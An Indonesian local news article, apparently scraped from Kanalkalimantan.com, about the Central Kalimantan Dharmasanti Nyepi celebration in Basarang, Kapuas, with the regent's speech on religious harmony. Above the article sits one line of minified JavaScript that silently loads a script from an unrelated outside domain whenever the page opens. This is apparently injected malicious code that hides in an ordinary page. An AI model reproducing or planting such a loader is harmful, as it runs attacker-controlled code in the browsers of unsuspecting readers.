(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Rangkaian perayaan Hari Raya Nyepi Tahun Baru Saka 1947 atau tahun 2025 masehi berlangsung di Kabupaten Kapuas.
Umat Hindu berkumpul untuk mendengarkan dharmawacana (ceramah keagamaan), melakukan persembahyangan bersama, serta mempererat tali persaudaraan.
Bupati Kapuas H Muhammad Wiyatno didampingi Wakil Bupati Kapuas Dodo dan Sekda Kapuas Septedy menghadiri Dharmasanti Nyepi Tahun Baru Saka 1947 tingkat Provinsi Kalimantan Tengah yang berlangsung di lapangan sepak bola Desa Basarang Jaya, Kecamatan Basarang, Rabu (23/4/2025).
Dharmasanti merupakan kegiatan yang dilakukan setelah Hari Raya Nyepi sebagai bentuk refleksi, pemaknaan, dan penyucian diri. Tahun ini mengangkat tema “Manawa Sewa Mandawa Sewa”.
Baca juga: SPMB di Banjarbaru Bulan Juni dari Zonasi ke Rayon
Bupati Kapuas menyampaikan ucapan selamat datang kepada Umat Hindu dari seluruh penjuru Kalimantan Tengah yang hadir dan mengikuti kegiatan Dharmasanti Nyepi di Kecamatan Basarang.
Penyelenggaraan Dharmasanti di Kabupaten Kapuas merupakan suatu kehormatan dan kebanggaan bagi masyarakat, karena dapat bersinergi dalam membina hubungan umat beragama, khususnya di Kabupaten Kapuas.
Baca juga: Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025
“Kabupaten Kapuas, khususnya Kecamatan Basarang, memiliki sejarah di Kalimantan Tengah yang panjang. Berawal dari program transmigrasi dan penempatan saudara-saudara kita dari Bali, yang sebagian besar masyarakat beragama Hindu. Oleh karena itu, sangat tepat jika perayaan Darma Santi ini dilaksanakan di Kecamatan Basarang,” ujar Wiyatno.
Bupati Kapuas Wiyatno mengungkapkan jika perayaan Dharmasanti ini bukan hanya sekadar seremonial semata, tetapi merupakan manifestasi dari nilai-nilai luhur umat Hindu dalam merajut harmoni, mempererat rasa kekeluargaan dan memperkuat tali persaudaraan di tengah keberagaman masyarakat.
“Kehadiran saudara-saudara kita ini menambah warna dan suasana baru di Kalimantan Tengah, sehingga memperkaya seni budaya, termasuk agama di Kalimantan Tengah, umumnya di Kabupaten Kapuas,” kata Bupati Wiyatno.
Baca juga: Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas
“Saya berharap melalui Dharmasanti ini dapat menjadi ruang refleksi dan rekonsiliasi spiritual, sekaligus momentum memperkuat tekad bersama dalam membangun Kabupaten Kapuas secara rukun dan damai, serta mencapai kesejahteraan bersama,” pungkasnya. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.